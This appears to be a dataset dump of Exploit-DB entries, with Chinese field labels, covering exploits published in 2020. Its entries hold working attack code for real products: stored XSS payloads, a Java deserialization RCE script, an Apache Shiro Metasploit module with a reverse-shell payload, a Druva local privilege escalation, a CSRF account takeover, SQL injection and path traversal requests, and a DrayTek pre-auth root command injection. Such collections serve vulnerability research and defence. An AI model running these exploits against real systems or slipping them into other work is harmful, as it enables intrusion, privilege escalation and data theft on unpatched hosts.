QLWD/code_shield huggingface dataset:
标题: Cisco Digital Network Architecture Center 1.3.1.4 - Persistent Cross-Site Scripting EDB-ID: 48459 CVE: 2019-15253 类型: WEBAPPS 平台: JAVA 发布日期: 2020-05-12 漏洞利用脚本: # Exploit Title: Cisco Digital Network Architecture Center 1.3.1.4 - Persistent Cross-Site Scripting 
# Date: 2020-04-16
# Exploit Author: Dylan Garnaud & Benoit Malaboeuf - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://www.cisco.com/c/en/us/products/cloud-systems-management/dna-center/index.html
# Version: Cisco DNA before 1.3.0.6 and 1.3.1.4
# Tested on: 1.3.0.2
# CVE : CVE-2019-15253
# Security advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190205-dnac-xss


## 1 - Network Hierarchy
- Vulnerable parameter: Floor Name.
- Payload: ```<script>alert('XSS')</script>```  
- Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered.
- Privileges: It requires admin or customer account.
- Location: Design -> Network Hirearchy -> Building -> Floor -> Field: "Floor name" .


## 2 - User Management
- Vulnerable parameters: First Name, Last Name .
- Payload: ```<script>alert('XSS')</script>```  
- Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered.
- Privileges: It requires admin account.
- Location: Settings -> Users -> User Management -> Fields: "First Name" or "Last Name". URL: https://www.exploit-db.com/exploits/48459
标题: TylerTech Eagle 2018.3.11 - Remote Code Execution EDB-ID: 48462 CVE: 2019-16112 类型: WEBAPPS 平台: JAVA 发布日期: 2020-05-12 漏洞利用脚本: # Exploit Title: TylerTech Eagle 2018.3.11 - Remote Code Execution
# Date: 2019-10-08
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.tylertech.com/products/eagle
# Version: 2018.3.11
# Tested on: Windows 2012
# CVE: CVE-2019-16112
# Category: webapps
#   
# Eagle is a software written in Java by TylerTech.  Version 2018.3.11 allows an unauthenticated attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# /recorder/ServiceManager in TylerTech Eagle 2018.3.11 is vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the tomcat service that is running the application.
#  


import sys, requests, zlib, argparse, urlparse, subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def run_command(command):
 p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
 output = b''
 for line in iter(p.stdout.readline, b''):
  output += line
  
 return output

def isurl(urlstr):
 try:
  urlparse.urlparse(urlstr)
  return urlstr
 except:
  raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
 parser = argparse.ArgumentParser(description='Java Deserialization Exlpoit')
 parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
 parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
 parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.jar")
 parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
 args = parser.parse_args()
 
 url_parts = urlparse.urlparse(args.url)
 target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
 
 proxies = {}
 if(args.proxy != None):
  proxy_parts = urlparse.urlparse(args.proxy)
  proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
 
 cmd = args.cmd
 
 serial_payload = run_command('java -jar %s CommonsCollections6 "%s"' % (args.ysoserial, args.cmd))
 
 url = target_url + "/recorder/ServiceManager?service=tyler.empire.settings.SettingManager"
 headers = {'Content-Type': 'application/octet-stream'}
 payload = zlib.compress(serial_payload)
 response = requests.post(url, data=payload, proxies=proxies, verify=False) URL: https://www.exploit-db.com/exploits/48462
标题: Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit) EDB-ID: 48410 CVE: 2016-4437 类型: REMOTE 平台: MULTIPLE 发布日期: 2020-05-01 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Apache Shiro v1.2.4 Cookie RememberME Deserial RCE',
      'Description'    => %q{
        This vulnerability allows remote attackers to execute arbitrary code on vulnerable
        installations of Apache Shiro v1.2.4.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
            'L / l-codes[at]qq.com'  # Metasploit module
        ],
      'References'     =>
        [
            ['CVE', '2016-4437'],
            ['URL', 'https://github.com/Medicean/VulApps/tree/master/s/shiro/1']
        ],
      'Platform'       => %w{ win unix },
      'Arch'           => [ ARCH_CMD ],
      'Targets'        =>
        [
          [
            'Unix Command payload',
            'Arch' => ARCH_CMD,
            'Platform' => 'unix',
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
          ],
          [
            'Windows Command payload',
            'Arch' => ARCH_CMD,
            'Platform' => 'win'
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 7 2016',
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'WfsDelay'   => 5
        }
      )
    )
    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
    ])
  end

  def aes_encrypt(payload)
    aes = OpenSSL::Cipher.new('aes-128-cbc')
    aes.encrypt
    aes.key = Rex::Text.decode_base64('kPH+bIxk5D2deZiIxcaaaA==')
    aes.random_iv + aes.update(payload) + aes.final
  end

  def exploit
    cmd = payload.encoded
    vprint_status("Execute CMD: #{cmd}")
    type = ( target.name == 'Unix Command payload' ? 'bash' : 'cmd' )
    java_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections2', cmd, modified_type: type)
    ciphertext = aes_encrypt(java_payload)
    base64_ciphertext = Rex::Text.encode_base64(ciphertext)

    send_request_cgi({
      'uri'      => target_uri.path,
      'method'   => 'GET',
      'cookie'   => "rememberMe=#{base64_ciphertext}"
    })
  end

end URL: https://www.exploit-db.com/exploits/48410
标题: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation EDB-ID: 48400 CVE: 2019-3999 类型: LOCAL 平台: WINDOWS 发布日期: 2020-04-29 漏洞利用脚本: # Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12

import socket
import struct
import sys

# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]

# command gets passed to CreateProcessW
def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00"      # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))

# send each request separately
requests = [ hello, func_num, command_length, command_line ]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done." URL: https://www.exploit-db.com/exploits/48400
标题: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover) EDB-ID: 48408 CVE: 2019-0235 类型: WEBAPPS 平台: JAVA 发布日期: 2020-05-01 漏洞利用脚本: # Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
# Exploit Author: Faiz Ahmed Zaidi
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
# Software Link: https://ofbiz.apache.org/download.html#security
# Version: Before 17.12.03
# Tested on: Linux and Windows
# CVE : CVE-2019-0235

#Exploit Code:

<html>
  <body>
    <form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
      <input type="hidden" name="contactMechId" value="admin" />
      <input type="hidden" name="contactMechTypeId" value="EMAIL&#95;ADDRESS" />
      <input type="hidden" name="partyId" value="admin" />
      <input type="hidden" name="DONE&#95;PAGE" value="viewprofile&#63;party&#95;id&#61;adminâ&#136;&#130;yId&#61;admin" />
      <input type="hidden" name="emailAddress" value="attackeremail@id.com" />
      <input type="hidden" name="allowSolicitation" value="Y" />
      <input type="submit" value="Submit request" />
    </form>
 <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After that do a password reset via forget password.
It's done :) URL: https://www.exploit-db.com/exploits/48408
标题: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution EDB-ID: 48387 CVE: 2020-12242 类型: LOCAL 平台: MACOS 发布日期: 2020-04-27 漏洞利用脚本: # Exploit Title: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution
# Date: 2020-04-27
# Exploit Author: 0xEmma/BugByte/SebastianPC
# Vendor Homepage: https://www.valvesoftware.com/en/
# Version: Source Engine, Tested on CS:GO BuildID: 4937372 TF2 BuildID: 4871679 Garry's Mod BuildID: 4803834 Half Life 2 BuildID: 4233302
# Tested on: MacOS 15.3
# CVE : CVE-2020-12242

import os, random, sys
banner = """
:'######:::'#######::'##::::'##::'######:::'#######::'##:::'##::::'##:::'########:
'##... ##:'##.... ##: ##:::: ##:'##... ##:'##.... ##: ##::'##:::'####:::... ##..::
 ##:::..:: ##'### ##: ##:::: ##: ##:::..::..::::: ##: ##:'##::::.. ##:::::: ##::::
. ######:: ## ### ##: ##:::: ##: ##::::::::'#######:: #####::::::: ##:::::: ##::::
:..... ##: ## #####:: ##:::: ##: ##::::::::...... ##: ##. ##:::::: ##:::::: ##::::
'##::: ##: ##.....::: ##:::: ##: ##::: ##:'##:::: ##: ##:. ##::::: ##:::::: ##::::
. ######::. #######::. #######::. ######::. #######:: ##::. ##::'######:::: ##::::
:......::::.......::::.......::::......::::.......:::..::::..:::......:::::..:::::
"""
print(banner)


if os.name == "posix":
    command = str(input("Code to run? "))
    payload = '"; ' + command + '; echo "'
    f = open("/tmp/hl2_relaunch", "w")

    f.write(payload)
    f.close()

if os.name == "nt":
    print("Windows based OS's not supported, see CVE-2020-12242") URL: https://www.exploit-db.com/exploits/48387
标题: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection EDB-ID: 48316 CVE: 2019-16383 类型: WEBAPPS 平台: PHP 发布日期: 2020-04-13 漏洞利用脚本: # Exploit Title: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection 
# Google Dork: inurl:human.aspx intext:moveit
# Date: 2020-04-12
# Exploit Authors: Aviv Beniash, Noam Moshe
# Vendor Homepage: https://www.ipswitch.com/
# Version: MOVEit Transfer 2018 SP2 before 10.2.4, 2019 before 11.0.2, and 2019.1 before 11.1.1
# CVE : CVE-2019-16383
# 
# Related Resources:
# https://community.ipswitch.com/s/article/SQL-Injection-Vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2019-16383

# Description:
# The API call for revoking logon tokens is vulnerable to a
# Time based blind SQL injection via the 'token' parameter

# MSSQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

token='; WAITFOR DELAY '0:0:10'--


# MySQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

token=' OR SLEEP(10); URL: https://www.exploit-db.com/exploits/48316
标题: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting EDB-ID: 48300 CVE: 2020-11457 类型: WEBAPPS 平台: FREEBSD 发布日期: 2020-04-06 漏洞利用脚本: # Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.pfsense.org
# Version: PfSense 2.4.4-P3
# Tested on: FreeBSD 11.2-RELEASE-p10
# CVE : CVE-2020-11457

# Vulnerability Details
# Description :  A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel.
# Vulnerable Parameter : descr 


# POC
# Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name.  
# This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is 
# the id of the user containing the payload.


POST /system_usermanager.php?act=new HTTP/1.1
Host: TARGET
Connection: close
Content-Length: 410
Cache-Control: max-age=0
Origin: https://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: https://TARGET/system_usermanager.php?act=new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d

__csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save URL: https://www.exploit-db.com/exploits/48300
标题: TVT NVMS 1000 - Directory Traversal EDB-ID: 48311 CVE: 2019-20085 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-04-13 漏洞利用脚本: # Exploit Title: TVT NVMS 1000 - Directory Traversal 
# Date: 2020-04-13
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
# Original Author : Numan Türle
# CVE : CVE-2019-20085

import sys
import requests
import os
import time

if len(sys.argv) !=4:
 print "  "
 print "Usage : python exploit.py url filename outputname"
 print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini" 
 print " "
else:


 traversal = "../../../../../../../../../../../../../"
 filename = sys.argv[2]
 url = sys.argv[1]+traversal+filename
 outputname = sys.argv[3]
 content = requests.get(url)

 if content.status_code == 200:
  
  print " "
  print "Directory Traversal Succeeded"
  time.sleep(3)
  print " "
  print "Saving Output"
  os.system("touch " + outputname)
  output_write = open(outputname,"r+")
  output_write.write(content.text)
  output_write.close()

 else:

  print "Host not vulnerable to Directory Traversal!" URL: https://www.exploit-db.com/exploits/48311
标题: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting EDB-ID: 48289 CVE: 2020-11456 类型: WEBAPPS 平台: PHP 发布日期: 2020-04-06 漏洞利用脚本: # Exploit Title: LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting 
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11456

# Vulnerability Details
Description : A stored cross-site scripting vulnerability exists within the "Survey Groups" functionality of the LimeSurvey administration panel.
Vulnerable Parameter : "title"


# POC
POST /limesurvey/index.php/admin/surveysgroups/sa/create HTTP/1.1
Host: TARGET
Content-Length: 374
Cache-Control: max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://TARGET/limesurvey/index.php/admin/surveysgroups/sa/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: LS-ERXSBPYJOOGIGFYW=7ge1q4rvsdgs0b6usksh3j5lb0; YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D
Connection: close

YII_CSRF_TOKEN=UmZ5cjJjY0ZhUExCcUYzQlU0VVBaV3BmZ1NWbTBHQ0oh7CIrJ3fZHoEIY4fzcDjOZJUykirqanC63j5b8gpHug%3D%3D&SurveysGroups%5Bowner_id%5D=&SurveysGroups%5Bgsid%5D=&SurveysGroups%5Bname%5D=XSSTEST&SurveysGroups%5Btitle%5D=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&SurveysGroups%5Bdescription%5D=This+is+a+test.&SurveysGroups%5Bsortorder%5D=4&SurveysGroups%5Bparent_id%5D=&yt0= URL: https://www.exploit-db.com/exploits/48289
标题: LimeSurvey 4.1.11 - 'File Manager' Path Traversal EDB-ID: 48297 CVE: 2020-11455 类型: WEBAPPS 平台: PHP 发布日期: 2020-04-06 漏洞利用脚本: # Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455

# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files.  The file manager functionality will also 
# delete the file after it is downloaded (if the web service account has permissions to do so), 
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"


# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/48297
标题: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting EDB-ID: 48295 CVE: 2019-18426 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-04-06 漏洞利用脚本: # Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Date: 2020-01-21
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426

// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"

var payload = `(async function() {
    alert(navigator.userAgent);
    (async function() {
     // read "file:///C:/windows/system32/drivers/etc/hosts" content
     const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
        const t = await r.text();
        alert(t);
    }())
}())`;

payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;

e.__x_matchedText = payload;

e.__x_body = `
    Innocent text

    ${payload}

    More Innocent text
`;

// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above

// further information: https://github.com/weizman/CVE-2019-18426 URL: https://www.exploit-db.com/exploits/48295
标题: Multiple DrayTek Products - Pre-authentication Remote Root Code Execution EDB-ID: 48268 CVE: 2020-8515 类型: REMOTE 平台: LINUX 发布日期: 2020-03-30 漏洞利用脚本: package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 -  0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
 */

import (
 "fmt"
 "io/ioutil"
 "net/http"
 "net/url"
 "os"
 "strings"
)

func usage()  {

 fmt.Println("CVE-2020-8515 exploit by  @0xsha ")
 fmt.Println("Usage :  " + os.Args[0] + " URL " + "command"  )
 fmt.Println("E.G :  " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\""  )
}

func main() {


 if len(os.Args) < 3 {
  usage()
  os.Exit(-1)
 }

 targetUrl := os.Args[1]
 //cmd := "cat /etc/passwd"
 cmd := os.Args[2]


 // payload preparation
 vulnerableFile := "/cgi-bin/mainfunction.cgi"
 // specially crafted CMD
 // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
 payload :=`'
 /bin/sh -c 'CMD'
 '`
 payload = strings.ReplaceAll(payload,"CMD", cmd)
 bypass := strings.ReplaceAll(payload," ", "${IFS}")

 //PostForm call url encoder internally
 resp, err := http.PostForm(targetUrl+vulnerableFile ,
  url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"}   })

 if err != nil{
  fmt.Println("error connecting host")
  os.Exit(-1)
 }


 defer resp.Body.Close()
 body, err := ioutil.ReadAll(resp.Body)
 
 if err != nil{
  fmt.Println("error reading data")
  os.Exit(-1)
 }
 
 fmt.Println(string(body))

} URL: https://www.exploit-db.com/exploits/48268
标题: Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation EDB-ID: 48267 CVE: 2020-0796 类型: LOCAL 平台: WINDOWS 发布日期: 2020-03-30 漏洞利用脚本: # CVE-2020-0796

Windows SMBv3 LPE Exploit

![exploit](https://user-images.githubusercontent.com/1675387/77913732-110d4f80-7295-11ea-9af6-f17201c66673.gif)

## Authors

  * Daniel García Gutiérrez ([@danigargu](https://twitter.com/danigargu))
  * Manuel Blanco Parajón ([@dialluvioso_](https://twitter.com/dialluvioso_))

## References

* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
* https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
* https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server.html#.Xndfn0lv150.twitter
* https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
* http://blogs.360.cn/post/CVE-2020-0796.html
* https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/


Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48267.zip URL: https://www.exploit-db.com/exploits/48267